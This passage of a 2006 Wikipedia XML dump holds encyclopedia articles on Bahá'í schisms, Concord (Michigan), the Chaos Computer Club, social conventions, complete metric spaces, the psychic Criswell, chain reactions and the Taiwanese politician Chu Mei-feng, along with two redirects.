The largest of the remaining followers of Mr. Remey, members of the [[Orthodox Bahá'í Faith]], believe that legitimate authority passed from Shoghi Effendi to Mason Remey to Joel Marangella.  They believe this succession, and thus whomever Mr. Marangella so appoints to be in keeping with the provisions of the Will and Testament of `Abdu'l-Bahá regarding the appointment of future guardians.  They, therefore, regard the Universal House of Justice in Haifa, Israel to be illegitimate, and its members and followers to be Covenant-breakers.

Some groups outside the majority consider the right to declare someone a covenant breaker to have been ended with the passing of Shoghi Effendi, and therefore members of these groups often choose to associate with non-members.  These are often shunned, however, by those who believe that such authority persists in the House of Justice.

The present descendents of expelled members of Bahá'u'lláh's family have not specifically been declared Covenent-breakers, though they mostly do not associate themselves with the Bahá'í religion.  A small group of Bahá'ís in Northern New Mexico believe that these descendents are eligible for appointment to the Guardianship and are waiting for such a direct descendant of Bahá'u'lláh to arise as the rightful Guardian.

There also existed a small number of &quot;Free Bahá'ís&quot; in Europe who accepted Ruth White and Hermann Zimmer's claim that the Will and Testament of `Abdu'l-Bahá' was a forgery. These claims too were rejected by the largest group of Bahá'ís in Haifa who consider these groups as Covenant-breakers.

Since the time of Bahá'u'lláh until the present, the many attempts by individual Bahá'ís to create schism or division have ended in failure during the lifetime of the individual. This is seen by Bahá'ís as a confirmation of Abdu'l-Baha's warning
:&quot;Should any, within or without the company of the Hands of the Cause of God disobey and seek division, the wrath of God and His vengeance will be upon him.&quot;
::(Abdu'l-Baha, The Will and Testament, p. 12)

==See also==
*[[Covenant of Bahá'u'lláh]]

==References==

*{{cite book
 |author=`Abdu'l-Bahá
 |authorlink=`Abdu'l-Bahá
 |origyear=1901-08
 |year=1992
 |title=The Will And Testament of ‘Abdu’l-Bahá
 |publisher=Bahá'í Publications Australia
 |location=Mona Vale, N.S.W, Australia
 |id=ISBN 0909991472
 |url=http://reference.bahai.org/en/t/ab/WT/
 }}

*{{cite book
 |author=Bahá'u'lláh
 |authorlink=Bahá'u'lláh
 |origyear=1873
 |year=1992
 |title=The Kitáb-i-Aqdas: The Most Holy Book
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0853989990
 |url=http://reference.bahai.org/en/t/b/KA/
 }}

*{{cite book
 |first=Hasan
 |last=Balyuzi
 |year=2000
 |title=Bahá'u'lláh, King of Glory
 |edition=Paperback
 |publisher=George Ronald
 |location=Oxford, UK
 |id=ISBN 0853983283
 }}

*{{cite book
 |first=Shoghi
 |last=Effendi
 |authorlink=Shoghi Effendi
 |year=1974
 |title=Bahá'í Administration
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0877431663
 |url=http://reference.bahai.org/en/t/se/BA/
 }} 

*{{cite book
 |first=Shoghi
 |last=Effendi
 |authorlink=Shoghi Effendi
 |year=1944
 |title=God Passes By
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0877430209
 |url=http://reference.bahai.org/en/t/se/GPB/
 }}

*{{cite book
 |first=Shoghi
 |last=Effendi
 |authorlink= Shoghi Effendi
 |year= 1976
 |title= Principles of Bahá'í Administration
 |edition= 4th ed.
 |publisher= Bahá'í Publishing Trust
 |location=London, UK
 |id= ISBN 0900125136
 }} 

*{{cite book
 |author= Rabbani, Ruhiyyih (Ed.)
 |authorlink=Rúhíyyih Khanum
 |year= 1992
 |title= The Ministry of the Custodians 1957-1963
 |publisher= Bahá'í World Centre
 |id= ISBN 085398350X
 |url= http://bahai-library.com/published.uhj/ministry.custodians.toc.html
 }}

*{{cite book
 |author= Rabbani, Ruhiyyih
 |authorlink=Rúhíyyih Khanum
 |year= 1969
 |title= The Priceless Pearl
 |edition=Hardcover
 |publisher= Bahá'í Publishing Trust: 2000
 |location=London, UK
 |id= ISBN 1870989910
 }}

*{{cite book
 |author= Taherzadeh, Adib
 |year= 1972
 |title= The Covenant of Bahá'u'lláh
 |publisher= George Ronald
 |location=Oxford, UK
 |id= ISBN 0853983445
 }}

==External links==
* [http://bahai-library.com/?file=momen_encyclopedia_covenant The Covenant and Covenant-breaker] - Article by Moojan Momen on the history, purpose, and power of the Covenant. Includes history of Covenant breakers, the three categories, and references for further study.

[[Category:Bahá'í divisions]]</text>
    </revision>
  </page>
  <page>
    <title>Concord, Michigan</title>
    <id>7828</id>
    <revision>
      <id>40536733</id>
      <timestamp>2006-02-21T07:10:10Z</timestamp>
      <contributor>
        <ip>141.213.217.199</ip>
      </contributor>
      <comment>/* Notable Residents */</comment>
      <text xml:space="preserve">'''Concord''' is a [[village]] in [[Jackson County, Michigan|Jackson County]],  [[Michigan]], located at {{coor dms|42|10|40|N|84|38|35|W|}}, west of [[Spring Arbor, Michigan]].  As of the [[2000]] census, the village had a total population of 1,101.

== Government ==
Concord is a general-law village incorporated within the [[Concord Township, Michigan|Township of Concord]].

== Geography ==
[[Image:MIMap-doton-Concord.PNG|right|Location of Concord, Michigan]]
According to the [[United States Census Bureau]], the village has a total area of 4.1 [[square kilometre|km&amp;sup2;]] (1.6 [[square mile|mi&amp;sup2;]]).  3.8 km&amp;sup2; (1.5 mi&amp;sup2;) of it is land and 0.3 km&amp;sup2; (0.1 mi&amp;sup2;) of it is water.  The total area is 6.37% water.

The village is located within the T3S R3W [[survey township]].

== Demographics ==
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there are 1,101 people, 428 households, and 308 families residing in the village.  The [[population density]] is 289.2/km&amp;sup2; (748.4/mi&amp;sup2;).  There are 499 housing units at an average density of 131.1/km&amp;sup2; (339.2/mi&amp;sup2;).  The racial makeup of the village is 97.91% [[White (U.S. Census)|White]], 0.09% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.27% [[Native American (U.S. Census)|Native American]], 0.73% [[Asian (U.S. Census)|Asian]], 0.64% from [[Race (U.S. Census)|other races]], and 0.36% from two or more races.  0.82% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 428 households out of which 34.3% have children under the age of 18 living with them, 57.9% are [[Marriage|married couples]] living together, 10.7% have a female householder with no husband present, and 28.0% are non-families. 25.0% of all households are made up of individuals and 10.5% have someone living alone who is 65 years of age or older.  The average household size is 2.57 and the average family size is 3.09.

In the village the population is spread out with 28.1% under the age of 18, 7.5% from 18 to 24, 28.2% from 25 to 44, 21.7% from 45 to 64, and 14.5% who are 65 years of age or older.  The median age is 37 years.  For every 100 females there are 92.8 males.  For every 100 females age 18 and over, there are 87.7 males.

The median income for a household in the village is $46,500, and the median income for a family is $54,531. Males have a median income of $39,167 versus $23,594 for females. The [[per capita income]] for the village is $19,348.  5.2% of the population and 4.8% of families are below the [[poverty line]].  Out of the total population, 3.1% of those under the age of 18 and 7.1% of those 65 and older are living below the poverty line.

==Notable Previous Residents==
[[Ted Nugent]]
[[Category:Jackson County, Michigan]]
[[Category:Villages in Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Chaos Computer Club</title>
    <id>7829</id>
    <revision>
      <id>38925875</id>
      <timestamp>2006-02-09T15:39:05Z</timestamp>
      <contributor>
        <username>Myleslong</username>
        <id>165491</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">The '''Chaos Computer Club (CCC)''' is one of the biggest and most influental [[hacker]] organisations. The CCC is based in [[Germany]] and other [[German Language|German]]-speaking countries and currently has about 1,500 members. 

The CCC describes itself as &quot;a galactic community of life's beings, independent of age, sex, race or societal orientation, which strives across borders for freedom of information&amp;hellip;.&quot; In general, the CCC struggles for more transparency in governments, freedom of information and a [[human rights|human right]] to [[communication]]. Supporting the principles of the [[hacker ethic]], the club also fights for free access to computers and technological infrastructure for everybody. 

== History ==

The CCC was founded in [[Berlin]] on [[September 12]], [[1981]] by [[Wau Holland]] and others in anticipation of the prominent role that information technology would play in the way people live and communicate. The Germans' sensitivity to [[Nineteen Eighty-Four]]&amp;ndash;like scenarios (as they had already experienced two of their own&amp;mdash;the [[Nazi]] era and the [[Stasi]] system of the [[GDR]]) might have played a role in the formation of the CCC. Today, Germans in general tend to be much more critical of all kinds of public [[surveillance]] than is common in other countries.

The CCC became world famous when they hacked the German [[Bildschirmtext]] computer network and succeeded in getting a bank in [[Hamburg]] to debit the online account with [[Deutsche Mark|DM]] 134,000 in favour of the club. The money was returned the next day in front of the press.

In [[1989]], the CCC was peripherally involved in the first cyberespionage case to make international headlines.  A group of [[West Germany|German]] hackers led by [[Hagbard (Karl Koch)|Karl Koch]] (who was loosely affiliated with the CCC) was arrested for breaking into US government and corporate computers and selling operating-system source code to the Soviet [[KGB]].

The CCC is more widely known for its public demonstrations of security risks. In [[1996]], CCC members demonstrated an attack against [[Microsoft]]'s [[ActiveX]] technology, changing personal data in a [[Quicken]] database from the outside. In April [[1998]], the CCC successfully demonstrated the cloning of [[GSM]] customer card, circumventing the A10 encryption algorithm.

In [[2001]], the CCC celebrated its twentieth birthday with an interactive light installation dubbed [[Project Blinkenlights]] that turned the building [[Haus des Lehrers]] in [[Berlin]] into a giant computer screen. A follow up installation (dubbed &quot;[[Video arcade|Arcade]]&quot;) at the [[Bibliothèque nationale de France]] was the world's biggest light installation ever.

== Events ==

[[Image:Ccc2003PirateTent.jpg|right|thumb|200px|''CCC 2003 camp near Berlin'']]

The CCC hosts the annual [[Chaos Communication Congress]], Europe's biggest hacker congress, with up to 3,500 participants. Every four years, the [[Chaos Communication Camp]] is the outdoor alternative for hackers worldwide.

Members of the CCC also participate in various technological and political conferences around the planet.

== Publications ==

The CCC publishes the quarterly magazine [[Datenschleuder]] (&quot;data catapult&quot;), and the CCC in [[Berlin]] also produces a monthly radio show called [[Chaosradio]] which picks up various technical and political topics in a three-hour [[talk radio]] show. The program is aired on a local radio station named [[Fritz (radio)|Fritz]].

== Members ==

Famous members are co-founder [[Wau Holland]] and [[Andy Müller-Maguhn]], who was a member of the [[ICANN]] board of directors for Europe until [[2002]].

== See also ==

* [[2600 The Hacker Quarterly]]
* [[Cult of the Dead Cow|CULT OF THE DEAD COW]]
* [[Phrack]]
* [[L0pht]]
* [[23 (movie)]]

== External links ==

* [http://www.ccc.de/?language=en CCC homepage]
* [http://www.blinkenlights.de/ Project Blinkenlights homepage]

[[Category:Hacker groups]]
[[Category:Computer clubs]]
[[de:Chaos Computer Club]]
[[es:Chaos Computer Club]]
[[fr:Chaos Computer Club]]</text>
    </revision>
  </page>
  <page>
    <title>Convention (norm)</title>
    <id>7830</id>
    <revision>
      <id>40382868</id>
      <timestamp>2006-02-20T04:35:19Z</timestamp>
      <contributor>
        <username>Velho</username>
        <id>158002</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">:''You might be looking for other senses of the word &quot;[[convention]]&quot;.

A '''convention''' is a set of [[agreement|agreed]], stipulated or generally accepted [[rule]]s, [[norm (philosophy)|norms]], standards or [[criterion|criteria]], often taking the form of a [[custom]].

Certain types of rules or customs may become [[law]], and regulatory [[legislation]] may be introduced to formalise or enforce the convention (eg. laws which determine which side of the [[road]] vehicles must be driven). In a [[social]] context, a convention may retain the character of an &quot;unwritten&quot; '''law''' of custom (eg. the manner in which people greet each other, such as by shaking each other's hands).

In [[physical science]]s, numerical values (such as constants, quantities, or scales of measurement) are called '''conventional''' if they do not represent a measured property of nature, but originate in a '''convention''', for example an average of many measurements, agreed between the scientists working with these values.

==General==
A '''convention''' is a rule or a selection from among two or more alternatives, where the rule or alternative is agreed upon among participants. Often the word refers to unwritten customs shared throughout a community.  For instance, it is conventional in many societies that strangers being introduced shake hands.  Some conventions are explicitly legislated; for example, it is conventional in [[United States|America]] and [[Germany]] that motorists [[rules of the road|drive on the right side of the road]], whereas in [[England]] and [[Barbados]] they drive on the left.  The extent to which [[justice]] is conventional (as opposed to [[Naturalism (philosophy)|natural]] or [[Objectivity (philosophy)|objective]]) is historically an important debate among [[philosopher]]s.

The nature of conventions has raised long-lasting philosophical discussion. [[Willard van Orman Quine|Quine]], [[Donald Davidson (philosopher)|Davidson]] and [[David Lewis (philosopher)|David Lewis]] published influential writings on the subject. Lewis's account of convention received an extended critique in [[Margaret Gilbert]]'s ''On Social Facts''. Another view of convention comes from [[Ruth Millikan]]'s ''Language:  A Biological Model'' (2005), once more against Lewis.

==Customary or social conventions==
In every field of [[art]], [[science]], or other human endeavor, there are '''conventions''' that may simply be expectations (strangers being introduced shake hands, [[painting]]s are rectangular) or stock devices (a [[comedy]] ends with a marriage, but a [[cowboy]] [[film]] can end with the hero riding off into the sunset). There are '''generic conventions''' which are very closely tied to a particular artistic ''[[genre]]'', and may even help to define what that genre is. Terms such as [[fan convention]]s and [[science fiction convention]]s could be interpreted in this manner, but more often refer to the meaning of &quot;[[convention (meeting)|convention]]&quot; as a gathering or the physical location of a gathering.

==Government==
In [[government]], '''''convention''''' is a set of unwritten rules which the participants in the government are expected to follow. These rules can be ignored only if justification is clear, or can be provided. Otherwise, consequences are sure to follow. Consequences may include ignoring some other convention that has until now been followed. According to the traditional doctrine (Dicey), conventions cannot be enforced in courts, because they are non-legal sets of rules. Convention is particularly important in the [[United Kingdom]] and other governments using the [[Westminster System]] of government (e g [[Canada]] and [[Australia]]) where many of the rules of government are unwritten.  

==International law==
The term '''convention''' is also used in [[international law]] to refer to certain formal statements of principle such as the [[Convention on the Rights of the Child]]. Conventions are adopted by international bodies such as the [[International Labour Organization]] and the [[United Nations]]. Conventions so adopted usually apply only to countries that ratify them, and do not automatically apply to member states of such bodies. These conventions are generally seen as having the force of international [[treaty|treaties]] for the ratifying countries.

==External links==
* [http://law-ref.org Law-Ref.org index of important international conventions]
* [http://www.conworld.net/ Global Business Events Portal]

[[cs:Konvent]]
[[da:Konvention]]
[[de:Konvention]]
[[eo:Konvencio]]
[[fr:Convention]]
[[nl:Conventie]]
[[pl:Konwent]]
[[sv:Konvention]]</text>
    </revision>
  </page>
  <page>
    <title>Cous cous</title>
    <id>7831</id>
    <revision>
      <id>15905879</id>
      <timestamp>2002-06-17T21:05:13Z</timestamp>
      <contributor>
        <username>Marj Tiefert</username>
        <id>27</id>
      </contributor>
      <comment>redirect to existing, merged couscous article</comment>
      <text xml:space="preserve">#REDIRECT [[couscous]]
</text>
    </revision>
  </page>
  <page>
    <title>Complete space</title>
    <id>7832</id>
    <revision>
      <id>38559362</id>
      <timestamp>2006-02-07T02:47:02Z</timestamp>
      <contributor>
        <username>DYLAN LENNON</username>
        <id>327463</id>
      </contributor>
      <comment>typo</comment>
      <text xml:space="preserve">:''For '''Cauchy completion''' in [[category theory]], see [[Karoubi envelope]].''

In [[mathematical analysis]], a [[metric space]] ''M'' is said to be '''complete''' (or '''Cauchy''') if every [[Cauchy sequence]] of points in ''M'' has a [[limit (topology)|limit]] that is also in ''M''.

Intuitively, a space is complete if it &quot;doesn't have any holes&quot;, if there aren't any &quot;points missing&quot;.
For instance, the [[rational number]]s are not complete, because &amp;radic;2 is &quot;missing&quot; even though you can construct a Cauchy sequence of rational numbers that converge to it. (See the examples below.)  It is always possible to &quot;fill all the holes&quot;, leading to the ''completion'' of a given space, as will be explained below.

== Examples ==

The space '''Q''' of [[rational number]]s, with the standard metric given by the [[absolute value]], is not complete.  Consider for instance the sequence defined by ''x''&lt;sub&gt;1&lt;/sub&gt; := 1 and ''x''&lt;sub&gt;''n''+1&lt;/sub&gt; := ''x''&lt;sub&gt;''n''&lt;/sub&gt;/2 + 1/''x''&lt;sub&gt;''n''&lt;/sub&gt;.
This is a Cauchy sequence of rational numbers, but it does not converge towards any rational limit; in fact, it converges towards the [[irrational number]] &amp;radic;2, the [[square root]] of [[two]].

The [[interval (mathematics)|open interval]] (0,1), again with the absolute value metric, is not complete either.
The sequence (1/2, 1/3, 1/4, 1/5, ...) is Cauchy, but does not have a limit in the space.
However the closed interval [0,1] is complete; the sequence above has the limit 0 in this interval.

The space '''R''' of [[real number]]s and the space '''C''' of [[complex number]]s (with the metric given by the absolute value) are complete, and so is [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt;.
Other [[normed vector space]]s may or may not be complete; those which are, are the [[Banach space]]s.

The space '''Q'''&lt;sub&gt;''p''&lt;/sub&gt; of [[p-adic number|''p''-adic number]]s are complete for any [[prime number]] ''p''.
This space completes '''Q''' with the ''p''-adic metric in the same way that '''R''' completes '''Q''' with the usual metric.

If ''S'' is an arbitrary set, then the set ''S''&lt;sup&gt;'''N'''&lt;/sup&gt; of all [[sequence]]s in ''S'' becomes a complete metric space if we define the distance between the sequences (''x''&lt;sub&gt;''n''&lt;/sub&gt;) and (''y''&lt;sub&gt;''n''&lt;/sub&gt;) to be 1/''N'', where ''N'' is the smallest index for which ''x''&lt;sub&gt;''N''&lt;/sub&gt; is [[distinct]] from ''y''&lt;sub&gt;''N''&lt;/sub&gt;, or 0 if there is no such index.
This space is [[homeomorphic]] to the [[product topology|product]] of a [[countable]] number of copies of the [[discrete space]] ''S''.

== Some theorems ==

Every [[compact space|compact]] metric space is complete.
In fact, a metric space is compact if and only if it is complete and [[totally bounded]].

A subspace of a complete space is complete if and only if it is [[closed set|closed]].

If ''X'' is a [[set]] and ''M'' is a complete metric space, then the set B(''X'',''M'') of all [[bounded function]]s ''f'' from ''X'' to ''M'' is a complete metric space.
Here we define the distance in B(''X'',''M'') in terms of the distance in ''M'' as

:&lt;math&gt;d(f,g) := \sup\left\{\,d(f(x),g(x)) : x\in X \,\right\}.&lt;/math&gt;

If ''X'' is a [[topological space]] and ''M'' is a complete metric space, then the set C&lt;sub&gt;b&lt;/sub&gt;(''X'',''M'') consisting of all [[continuous function (topology)|continuous]] bounded functions ''f'' from ''X'' to ''M'' is a closed subspace of B(''X'',''M'') and hence also complete.

The [[Baire category theorem]] says that every complete metric space is a [[Baire space]].
That is, the [[interior (topology)|interior]] of a [[union (set theory)|union]] of [[countable|countably many]] [[nowhere dense]] subsets of the space is [[empty set|empty]].

== Completion ==

For any metric space ''M'', one can construct a complete metric space ''M''' (which is also denoted as ''M'' with a bar over it), which contains ''M'' as a [[dense subspace]].
It has the following [[universal property]]: if ''N'' is any complete metric space and ''f'' is any [[uniformly continuous function]] from ''M'' to ''N'', then there exists a [[unique]] uniformly continuous function ''f' '' from ''M' '' to ''N'' which extends ''f''.
The space ''M''' is determined [[up to]] [[isometry]] by this property, and is called the ''completion'' of ''M''.

The completion of ''M'' can be constructed as a set of [[equivalence class]]es of Cauchy sequences in ''M''.
For any two Cauchy sequences (''x''&lt;sub&gt;''n''&lt;/sub&gt;)&lt;sub&gt;''n''&lt;/sub&gt; and (''y''&lt;sub&gt;''n''&lt;/sub&gt;)&lt;sub&gt;''n''&lt;/sub&gt; in ''M'', we may define their distance as
: d(''x'',''y'') = lim&lt;sub&gt;''n''&lt;/sub&gt; d(''x''&lt;sub&gt;''n''&lt;/sub&gt;,''y''&lt;sub&gt;''n''&lt;/sub&gt;).
(This limit exists because the real numbers are complete.)
This is only a [[pseudometric]], not yet a metric, since two different Cauchy sequences may have the distance 0.
But &quot;having distance 0&quot; is an [[equivalence relation]] on the set of all Cauchy sequences, and the set of equivalence classes is a metric space, the completion of ''M''.  The original space is embedded in this space via the identification of an element ''x'' of ''M'' with the equivalence class of sequences converging to ''x'' (i.e. the equivalence class containing the sequence with constant value ''x'').  This defines an [[isometry]] onto a dense subspace, as required.

[[Georg Cantor|Cantor]]'s construction of the real numbers is a special case of this; the real numbers are the completion of the rational numbers using the ordinary absolute value to measure distances.
By using different notions of distance on the rationals, one obtains different incomplete metric spaces whose completions are the [[p-adic number|''p''-adic number]]s.

If this completion procedure is applied to a [[normed vector space]], one obtains a [[Banach space]] containing the original space as a dense subspace, and if it is applied to an [[inner product space]], one obtains a [[Hilbert space]] containing the original space as a dense subspace.

== Topologically complete spaces ==

Note that completeness is a property of the ''metric'' and not of the ''[[topology]]'', meaning that a complete metric space can be [[homeomorphic]] to a non-complete one.
An example is given by the real numbers, which are complete but homeomorphic to the open interval (0,1), which is not complete.
Another example is given by the [[irrational number]]s, which are not complete as a subspace of the real numbers but are homeomorphic to '''N'''&lt;sup&gt;'''N'''&lt;/sup&gt; (a special case of an example in ''Examples'' above).

In [[topology]] one considers ''topologically complete'' (or ''completely metrizable'') spaces, spaces for which there exists at least one complete metric inducing the given topology.
Completely metrizable spaces can be characterized as those spaces which can be written as an [[intersection (set theory)|intersection]] of countably many open subsets of some complete metric space.
Since the conclusion of the [[Baire category theorem]] is purely topological, it applies to these spaces as well.

== Generalizations ==

It is also possible to define the concept of completeness for [[uniform space]]s using Cauchy ''[[net (topology)|net]]s'' instead of Cauchy ''sequences''.
If every Cauchy net has a limit in ''X'', then ''X'' is called complete.
One can also construct a completion for an arbitrary uniform space similar to the completion of metric spaces.
The most general situation in which Cauchy nets apply is [[Cauchy space]]s; these too have a notion of completeness and completion just like uniform spaces.

A topological space may be completely [[uniformisable]] without being completely [[metrisable]]; it is then still not topologically complete.

[[Category:Metric geometry]]
[[de:Vollständiger Raum]]
[[fr:Espace complet]]
[[he:&amp;#1502;&amp;#1512;&amp;#1495;&amp;#1489; &amp;#1502;&amp;#1496;&amp;#1512;&amp;#1497; &amp;#1513;&amp;#1500;&amp;#1501;]]
[[it:Spazio completo]]
[[ja:&amp;#23436;&amp;#20633;]]
[[pl:Przestrze&amp;#324; zupe&amp;#322;na]]
[[ru:&amp;#1055;&amp;#1086;&amp;#1083;&amp;#1085;&amp;#1086;&amp;#1077; &amp;#1087;&amp;#1088;&amp;#1086;&amp;#1089;&amp;#1090;&amp;#1088;&amp;#1072;&amp;#1085;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1086;]]
[[fi:täydellisyys]]
[[zh:&amp;#23436;&amp;#22791;&amp;#31354;&amp;#38388;]]</text>
    </revision>
  </page>
  <page>
    <title>The Amazing Criswell</title>
    <id>7833</id>
    <revision>
      <id>40070643</id>
      <timestamp>2006-02-17T22:44:06Z</timestamp>
      <contributor>
        <ip>69.204.163.4</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Criswell.gif|right|frame|American psychic The Amazing Criswell, infamous for his eccentric predictions and appearances in the films of [[Ed Wood]], rising from his signature coffin.]]
'''Jeron Criswell King''' ([[August 18]], [[1907]] – [[October 4]], [[1982]]) born '''Jeron Criswell Konig''', and known by his stage-name '''The Amazing Criswell''', was an [[United States of America|American]] [[parapsychology|psychic]] who was famous for his wildly inaccurate predictions.  Criswell was born with the last name of Konig but later changed it to King and often represented it as his middle name, frequently credited as '''Jeron King Criswell'''.

Criswell found cinematic infamy in the movies of [[Ed Wood, Jr.|Ed Wood]], including ''[[Plan 9 from Outer Space]]'' and ''[[Orgy of the Dead]]''. He was portrayed in the [[biopic]] ''[[Ed Wood (movie)|Ed Wood]]'' by [[Jeffrey Jones]], in which it is suggested that Criswell was simply a showman and never claimed to be a real psychic. However, those who knew him, such as actress and fellow ''Plan 9'' alumna [[Maila Nurmi]] (Vampira), have disputed this. According to writer Charles A. Coulombe, whose family rented an apartment from the psychic, Criswell had told Coulombe's father that he &quot;had the gift, but … lost it when I started taking money for it.&quot;

Criswell was a flamboyant figure, best remembered for his spitcurled hair, his stentorian speaking style, and his sequined tuxedo. He was the possessor of a [[coffin]], in which he claimed to sleep, and which found its way into a later Ed Wood film, the pornographic ''[[Necromania]]'' from [[1971]].

== Predictions ==
[[Image:Criswellpredicts.jpg|right|frame|Criswell's 1968 book ''Criswell Predicts''.]]
Criswell's predictions were nationally syndicated. Additionally, the psychic appeared on the television show ''Criswell Predicts'' on KLAC Channel 13 in Los Angeles, as well as being kinescoped for syndication on other television stations. Criswell's announcer, Bob Shields, would eventually be the judge on ''Divorce Court.'' Criswell was notorious for wearing his heavy pancake makeup outside the studio.

Criswell authored several books of predictions, including [[1968]]'s ''Criswell Predicts: From Now to the Year 2000.'' In this book, the author claimed that [[Denver]] would be struck by a ray from space that would cause all metal to adopt the qualities of [[rubber]], leading to horrific accidents at amusement parks. He also predicted an outbreak of mass [[cannibalism]] and the [[end of the world]], which he set as happening on [[August 18]], [[1999]].

Criswell's most famous prediction was made on American television in March [[1963]], when he predicted that [[John F. Kennedy]] would not run for reelection in [[1964]] because [[John F. Kennedy assassination|something]] was going to happen to him in November 1963.

== Private Life ==
Criswell was married to a former [[speakeasy]] dancer named [[Halo Meadows]], who once appeared on ''[[You Bet Your Life]]'', and who Coulombe describes as &quot;quite mad&quot;: &quot;Mrs. Criswell had a huge standard [[poodle]] (named 'Buttercup') which she was convinced was the [[reincarnation]] of her cousin Thomas. She spent a great deal of time [[sunbathing]] … which, given her size, was not too pleasing a sight.&quot;

Criswell was longtime friends with actress [[Mae West]], once predicting her impending rise to the position of President of the United States, whereupon she, Criswell, and showman [[Liberace]] would ride a rocket to the moon. West used Criswell as her personal psychic, as well as lavishing him with gifts of homecooked food, dropped off via chauffeur. The food was often then eaten by Criswell and Nurmi, who refused any direct contact with West after a many-decade-old unpleasant experience with the film actress. Additionally, West was known to sell Criswell her old luxury cars for $5. For her [[1955]] album ''The Fabulous Mae West,'' she recorded a song about the psychic, titled, appropriately enough, &quot;Criswell Predicts.&quot;

Criswell was reputedly [[homosexuality|homosexual]], and was a habitué of The Gold Cup, a defunct [[Los Angeles]] coffee shop at the corner of Las Palmas and [[Hollywood Boulevard]] that served as an informal meeting place for homosexual encounters.

==Quotes==
* &quot;Greetings, my friends. We are all interested in the future, for that is where you and I are going to spend the rest of our lives. And remember, my friends, future events such as these will affect you in the future.&quot; - ''Plan 9 From Outer Space''
* &quot;The past is not a window into the future.  ''I'' am the only window into the future.&quot; - syndicated column.

==External links==
* [http://www.imdb.com/name/nm0188186/ The IMDb entry on Criswell]
* [http://avclub.com/content/node/22973 &quot;Criswell Predicts&quot;] - ''[[The Onion]]'' A.V. Club, [[August 11]], [[1999]]
* [http://www.evil-pumpkin.com/jake/criswell/ A fan's Criswell tribute page]

[[Category:1907 births|Amazing Criswell]]
[[Category:1982 deaths|Amazing Criswell]]</text>
    </revision>
  </page>
  <page>
    <title>Chain reaction</title>
    <id>7834</id>
    <revision>
      <id>37776299</id>
      <timestamp>2006-02-02T02:08:43Z</timestamp>
      <contributor>
        <username>Nuno Tavares</username>
        <id>157549</id>
      </contributor>
      <minor />
      <comment>pt:</comment>
      <text xml:space="preserve">{{dablink|This is about chain reactions in [[chemistry]] and [[physics]]. For other uses, see [[Chain reaction (disambiguation)]]}}

A '''chain reaction''' is a sequence of [[reaction]]s where a reactive product or by-product causes additional reactions.


* The [[neutron]]-[[nuclear fission|fission]] chain reaction: a neutron plus a fissionable [[atom]] causes a fission resulting in a larger number of neutrons than was consumed in the initial reaction.
*[[Chemical reaction]]s, where a product of a reaction is itself a reactive particle which can cause more similar reactions. For example, every step of  [[Hydrogen|H&lt;sub&gt;2&lt;/sub&gt;]] + [[Chlorine|Cl&lt;sub&gt;2&lt;/sub&gt;]] chain reaction consumes one [[molecule]] of H&lt;sub&gt;2&lt;/sub&gt; or Cl&lt;sub&gt;2&lt;/sub&gt;, one [[free radical]] H· or Cl· producing one [[Hydrochloric acid|HCl]] molecule and another free radical.
*[[Electron avalanche]] process: Collisions of [[free electron]]s in a strong [[electric field]]  forming &quot;new&quot; electrons to undergo the same process in successive cycles.

==See also==
*[[Nuclear chain reaction]]
*[[Polymerase chain reaction]]
*[[Markov chain]]
*[[Chain letter]]
*[[Ladder-up reaction]]

[[Category:Chemical kinetics]]

[[ca:Reacció en cadena]]
[[cs:Řetězová reakce]]
[[de:Kettenreaktion]]
[[es:Reacción en cadena]]
[[fr:Réaction en chaîne]]
[[nl:Kettingreactie]]
[[pl:Reakcja łańcuchowa]]
[[pt:Reacção em cadeia]]
[[sv:Kedjereaktion]]</text>
    </revision>
  </page>
  <page>
    <title>Chu Mei-feng</title>
    <id>7835</id>
    <revision>
      <id>40362414</id>
      <timestamp>2006-02-20T01:42:20Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Chu Mei-feng''', (&amp;#29865;&amp;#32654;&amp;#40179; [[pinyin]]: Qú M&amp;#283;ifèng) born [[1966]], [[Republic of China|Taiwanese]] politician, was director of [[Hsinchu]]'s Bureau of Cultural Affairs.  She is noted for her outspokenness, sharp-wittedness, and beauty.

Chu campaigned under the [[New Party (Taiwan)|New Party]] (NP) for election to the [[Legislative Yuan]]'s [[Taichung City]] electoral district and was seen as a threat to the incumbent [[Shen Chih-hui]], despite a string of high-profile relationships including one with Hsinchu's mayor, [[Tsai Jen-chien]], who was ten years older than she and a member of the rival [[Democratic Progressive Party]] (DPP).

On [[December 17]], [[2001]], the [[tabloid]] &lt;cite&gt;Scoop Weekly&lt;/cite&gt; published a lengthy story about Chu's alleged [[promiscuity]] and distributed a video taken secretly with a pinhole camera, purportedly showing Chu having sex with a married man.  The video was sold on [[Video CD]]s in [[Hong Kong]] and Taiwan.  Chu sued the tabloid for [[libel]] on [[December 31]], 2001.  The magazines in question were pulled from the market as a result, but not before several thousand copies were sold. The video found its way onto the Internet.

==External links==
* [http://news.bbc.co.uk/1/hi/world/asia-pacific/1875385.stm BBC Article]

{{China-bio-stub}}
{{Asia-politician-stub}}

&lt;!-- Chu is her family name. Do not reverse the order, please. --&gt;

[[Category:1966 births|Chu, Mei-feng]]
[[Category:Living people|Chu, Mei-feng]]
[[Category:Politicians of the Republic of China|Chu, Mei-feng]]</text>
    </revision>
  </page>
  <page>
    <title>CF</title>
    <id>7836</id>
    <revision>
      <id>15905884</id>
      <timestamp>2003-08-24T14:13:48Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Cf]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cf]]</text>
    </revision>
  </page>
